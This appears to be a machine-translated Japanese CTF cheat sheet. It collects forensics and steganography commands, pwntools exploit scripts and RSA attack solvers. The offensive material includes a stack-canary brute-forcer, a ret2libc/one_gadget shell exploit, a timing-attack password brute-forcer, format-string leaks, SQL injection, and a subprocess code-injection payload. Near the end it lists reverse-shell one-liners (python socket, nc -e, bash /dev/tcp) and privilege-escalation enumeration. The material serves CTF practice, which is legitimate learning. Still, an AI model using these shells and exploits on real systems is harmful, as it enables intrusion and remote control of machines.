私が行ったいくつかの Cyber CTF の書き込み/ファイル
CTF リソースのリストと、多くの一般的な CTF 課題をカバーする包括的なチートシートも含めました。
注記
現在、このリポジトリの Web ミラーが hackback.zip にあります。
リソース
CTF チートシート
サイバーシェフ
一般的な暗号
RSA
Base16、32、36、58、64、85、91、92
私がまとめたスライドをいくつか示します: hackback.zip/presentations
20{19,20,21,22,23,24}.cr.yp.toc.tf
からアクセスできます。file <file.xyz>
steghide extract -sf <file.xyz>
stegseek <file> <password list>
binwalk -M --dd=".*" <file.xyz>
exiftool <file.xyz>
strings <file.xyz>
hexedit <file.xyz>
ghex <file.xyz>
unzip <file.docx>
grep -r --text 'picoCTF{.*}'
egrep -r --text 'picoCTF{.*?}
ltrace ./<file>
ltrace -s 100 ./<file>
ファックス機の音声:
SSTV (スロースキャン TV) オーディオ (月のもの)
スペクトログラム画像
ピッチ、スピード、方向を変える...
DTMF (デュアル トーン多重周波数) 電話キー
multimon-ng -a DTMF -t wav <file.wav>
カセットテープ
モールス信号
ステグソルブ
一番最初に
デピックス
何かがフォトショップで加工されていないか確認します (ハイライトを見てください)
ズステグ
ジェステグ
ピクスリカバリー
crc32fix
PCRT
png-crc-fix
pngチェック
photorec <file.bin>
.img
ファイルをマウントします。binwalk -M --dd=".*" <fileName>
file
実行し、Linux ファイルシステム ファイルを選択しますlosetup /dev/loop<freeLoopNumber> <fileSystemFile>
tcpflow -r <file.pcap>
checksec <binary>
rabin2 -I <binary>
binary-security-check <bin>.exe
seccomp-tools dump ./<binary>
readelf -s <binary>
rabin2 -z <binary>
python -c "import pwn; print(pwn.p32(<intAddr>))
python -c "import pwn; print(pwn.p64(<intAddr>))
( python -c "print '<PAYLOAD>'" ; cat ) | ./<program>
process.interactive()
を使用してこれを行います。 pwn cyclic <numChars>
によるペイロードの生成dmesg | tail | grep segfault
エラーが発生した場所を確認しますpwn cyclic -l 0x<errorLocation>
、制御命令ポインターへのランダムなオフセットを確認します。ROPgadget --ropchain --binary <binary>
デバッガーでのスタック カナリアの検索
gs
またはfs
(それぞれ 32 ビットと 64 ビット) から取得されます。 0x000000000000121a <+4>: sub rsp,0x30
0x000000000000121e <+8>: mov rax,QWORD PTR fs:0x28
0x0000000000001227 <+17>:mov QWORD PTR [rbp-0x8],rax
0x000000000000122b <+21>:xor eax,eax
rax
に移動されます。ir rax
) の内容をチェックして、現在のカナリアが何であるかを確認します。静的カナリア
余分な
スタック カナリアが不適切に上書きされると、 __stack_chk_fail
が呼び出されます。
カナリアは現在のスタックのTLS
構造に保存され、 security_init
によって初期化されます。
静的 4 バイト カナリアをブルートフォースする簡単なスクリプト:
#!/bin/python3
from pwn import *
#This program is the buffer_overflow_3 in picoCTF 2018
elf = ELF ( './vuln' )
# Note that it's probably better to use the chr() function too to get special characters and other symbols and letters.
# But this canary was pretty simple :)
alphabet = "abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ1234567890"
canary = ''
# Here we are bruteforcing a canary 4 bytes long
for i in range ( 1 , 5 ):
for letter in range ( 0 , len ( alphabet )): # We will go through each letter/number in the string 'alphabet'
p = elf . process () # We start the process
wait = p . recv (). decode ( 'utf-8' )
p . sendline ( str ( 32 + i )) # In this program, we had to specify how many bytes we were gonna send.
wait = p . recv (). decode ( 'utf-8' )
p . sendline ( 'A' * 32 + canary + alphabet [ letter ]) # We send the 32 A's to overflow, and then the canary we already have + our guess
prompt = p . recv (). decode ( 'utf-8' )
if "Stack" not in prompt : # The program prints "Stack smashed [...]" if we get wrongfully write the canary.
canary += alphabet [ letter ] # If it doesn't print that, we got part of our canary :)
break # Move on to the next canary letter/number
print ( "The canary is: " + canary )
%1$s
- これはスタック内の最初の値 (私が理解しているところによると、バッファーのすぐ隣の値) を文字列として出力します。%2$s
- これにより、2 番目の値が文字列として出力されます。for i in {1..100}; do echo "%$i$s" | nc [b7dca240cf1fbf61.247ctf.com](http://b7dca240cf1fbf61.247ctf.com/) 50478; done
%hhx
1 バイト (int サイズの半分の半分) をリークします。%hx
2 バイト (int サイズの半分) をリークします%x
4 バイト (int サイズ) をリークします%lx
8 バイト (長いサイズ) をリークしますEIP を上書きして system() ライブラリ関数を呼び出し、それが実行するもの (この例では「/bin/sh」を持つバッファ) も渡します。
良い説明:
良い例 (3:22:44 に移動):
execve("/bin/sh") のアドレスを取得します
one_gadget <libc file>
libc ファイルと場所をすでに知っている場合 (つまり、それらを漏らす必要はありません...)
#!/bin/python3
from pwn import *
import os
binaryName = 'ret2libc1'
# get the address of libc file with ldd
libc_loc = os . popen ( f'ldd { binaryName } ' ). read (). split ( ' n ' )[ 1 ]. strip (). split ()[ 2 ]
# use one_gadget to see where execve is in that libc file
one_gadget_libc_execve_out = [ int ( i . split ()[ 0 ], 16 ) for i in os . popen ( f'one_gadget { libc_loc } ' ). read (). split ( " n " ) if "execve" in i ]
# pick one of the suitable addresses
libc_execve_address = one_gadget_libc_execve_out [ 1 ]
p = process ( f'./ { binaryName } ' )
e = ELF ( f'./ { binaryName } ' )
l = ELF ( libc_loc )
# get the address of printf from the binary output
printf_loc = int ( p . recvuntil ( ' n ' ). rstrip (), 16 )
# get the address of printf from libc
printf_libc = l . sym [ 'printf' ]
# calculate the base address of libc
libc_base_address = printf_loc - printf_libc
# generate payload
# 0x17 is from gdb analysis of offset from input to return address
offset = 0x17
payload = b"A" * offset
payload += p64 ( libc_base_address + libc_execve_address )
# send the payload
p . sendline ( payload )
# enter in interactive so we can use the shell created from our execve payload
p . interactive ()
クールなガイド: https://opensource.com/article/20/4/linux-binary-analysis
apktool d *.apk
strings
。静的分析を使用して文字列を検索および計算しますhttps://dustri.org/b/defeating-the-recons-movfuscator-crackme.html
#!/bin/python3
from pwn import *
import string
keyLen = 8
binaryName = 'binary'
context . log_level = 'error'
s = ''
print ( "*" * keyLen )
for chars in range ( keyLen ):
a = []
for i in string . printable :
p = process ( f'perf stat -x, -e cpu-clock ./ { binaryName } ' . split ())
p . readline ()
currPass = s + i + '0' * ( keyLen - chars - 1 )
# print(currPass)
p . sendline ( currPass . encode ())
p . readline ()
p . readline ()
p . readline ()
info = p . readall (). split ( b',' )[ 0 ]
p . close ()
try :
a . append (( float ( info ), i ))
except :
pass
# print(float(info), i)
a . sort ( key = lambda x : x [ 0 ])
s += str ( a [ - 1 ][ 1 ])
print ( s + "*" * ( keyLen - len ( s )))
# print(sorted(a, key = lambda x: x[0]))
p = process ( f'./ { binaryName } ' )
p . sendline ( s . encode ())
p . interactive ()
grep <string>
を実行すると、gef が検索パターンに一致する文字列を自動的に表示します。 wpscan --url <site> --plugins-detection mixed -e
と API キーを使用します。echo <token> > jwt.txt
john jwt.txt
sqlmap --forms --dump-all -u <url>
'OR 1=1--
と入力しますSELECT * FROM Users WHERE User = '' OR 1=1--' AND Pass = ''
として評価されます。1=1
true と評価され、 OR
ステートメントを満たし、クエリの残りの部分は--
によってコメントアウトされます。__import__.('subprocess').getoutput('<command>')
__import__.('subprocess').getoutput('ls').split('\n')
ffuf -request input.req -request-proto http -w /usr/share/seclists/Fuzzing/special-chars.txt -mc all
-fs
使用します暗号検出器
#### Solver using custom table
cipherText = ""
plainText = ""
flagCipherText = ""
tableFile = ""
with open ( cipherText ) as fin :
cipher = fin . readline (). rstrip ()
with open ( plainText ) as fin :
plain = fin . readline (). rstrip ()
with open ( flagCipherText ) as fin :
flag = fin . readline (). rstrip ()
with open ( tableFile ) as fin :
table = [ i . rstrip (). split () for i in fin . readlines ()]
table [ 0 ]. insert ( 0 , "" ) # might have to modify this part.
# just a 2d array with the lookup table
# should still work if the table is slightly off, but the key will be wrong
key = ""
for i , c in enumerate ( plain [ 0 : 100 ]):
col = table [ 0 ]. index ( c )
for row in range ( len ( table )):
if table [ row ][ col ] == cipher [ i ]:
key += table [ row ][ 0 ]
break
print ( key )
dec_flag = ""
for i , c in enumerate ( flag [: - 1 ]):
col = table [ 0 ]. index ( key [ i ])
for row in range ( len ( table )):
if table [ row ][ col ] == flag [ i ]:
dec_flag += table [ row ][ 0 ]
break
print ( dec_flag )
from Crypto . PublicKey import RSA
keyName = "example.pem"
with open ( keyName , 'r' ) as f :
key = RSA . import_key ( f . read ())
print ( key )
# You can also get individual parts of the RSA key
# (sometimes not all of these)
print ( key . p )
print ( key . q )
print ( key . n )
print ( key . e )
print ( key . d )
print ( key . u )
# public keys have n and e
数値n
因数分解できる場合にこれを使用します
古い
def egcd ( a , b ):
if a == 0 :
return ( b , 0 , 1 )
g , y , x = egcd ( b % a , a )
return ( g , x - ( b // a ) * y , y )
def modinv ( a , m ):
g , x , y = egcd ( a , m )
if g != 1 :
raise Exception ( 'No modular inverse' )
return x % m
p =
q =
e =
c =
n = p * q # use factordb command or website to find factors
phi = ( p - 1 ) * ( q - 1 ) # phi is simply the product of (factor_1-1) * ... * (factor_n -1)
d = modinv ( e , phi ) # private key
# print(d)
m = pow ( c , d , n ) # decrypted plaintext message in long integer form
thing = hex ( m )[ 2 :] # ascii without extra stuff at the start (0x)
print ( bytes . fromhex ( thing ). decode ( 'ascii' ))
#!/bin/python3
from Crypto . Util . number import *
from factordb . factordb import FactorDB
# ints:
n =
e =
c =
f = FactorDB ( n )
f . connect ()
factors = f . get_factor_list ()
phi = 1
for i in factors :
phi *= ( i - 1 )
d = inverse ( e , phi )
m = pow ( c , d , n )
flag = long_to_bytes ( m ). decode ( 'UTF-8' )
print ( flag )
from Crypto . Util . number import *
def nth_root ( radicand , index ):
lo = 1
hi = radicand
while hi - lo > 1 :
mid = ( lo + hi ) // 2
if mid ** index > radicand :
hi = mid
else :
lo = mid
if lo ** index == radicand :
return lo
elif hi ** index == radicand :
return hi
else :
return - 1
c =
e =
plaintext = long_to_bytes ( nth_root ( c , e ))
print ( plaintext . decode ( "UTF-8" ))
p-1 | B!
の場合に当てはまります。 p-1 | B!
q - 1
因数は > B
です from Crypto . Util . number import *
from math import gcd
n =
c =
e =
def pollard ( n ):
a = 2
b = 2
while True :
a = pow ( a , b , n )
d = gcd ( a - 1 , n )
if 1 < d < n :
return d
b += 1
p = pollard ( n )
q = n // p
phi = 1
for i in [ p , q ]:
phi *= ( i - 1 )
d = inverse ( e , phi )
m = pow ( c , d , n )
flag = long_to_bytes ( m ). decode ( 'UTF-8' )
print ( flag )
from Crypto . Util . number import *
import owiener
n =
e =
c =
d = owiener . attack ( e , n )
m = pow ( c , d , n )
flag = long_to_bytes ( m )
print ( flag )
https://github.com/mufeedvh/basecrack
ssh <username>@<ip>
ssh <username>@<ip> -i <private key file>
sshfs -p <port> <user>@<ip>: <mount_directory>
ssh-copy-id -i ~/.ssh/id_rsa.pub <user@host>
nc <ip> <port>
マシンの発見
netdiscover
マシンのポートスキャン
nmap -sC -sV <ip>
Linuxの列挙
enum4linux <ip>
SMB の列挙
smbmap -H <ip>
SMB共有に接続する
smbclient //<ip>/<share>
./linpeas.sh
sudo -l
find / -perm -u=s -type f 2>/dev/null
accesschk.exe -uwcqv *
sc qc <service name>
nc -lnvp <port>
python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("<ip>",<port>));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);'
nc -e /bin/sh <ip> <port>
bash -i >& /dev/tcp/<ip>/<port> 0>&1
python -c 'import pty;pty.spawn("/bin/bash");'
CTRL+Z
を押して netcat セッションを終了し、ローカルでstty raw -echo
を実行します。fg
(必要に応じてその後ジョブ ID) を使用してセッションを再入力します。export TERM=xterm
実行して、ターミナル エミュレータを xterm に変更します (これは必要ない場合があります)。export SHELL=bash
実行して、シェルを bash に変更します (これは必要ない場合があります)。rlwrap
インストールするrlwrap
先頭に置くだけです。rlwrap nc -lvnp 1337
DNS エラーの解決
dig <site> <recordType>
バイナリを別のアーキテクチャとして実行する
linux64 ./<binary>
linux32 ./<binary>
MS マクロを抽出します。
CNC Gコードを表示する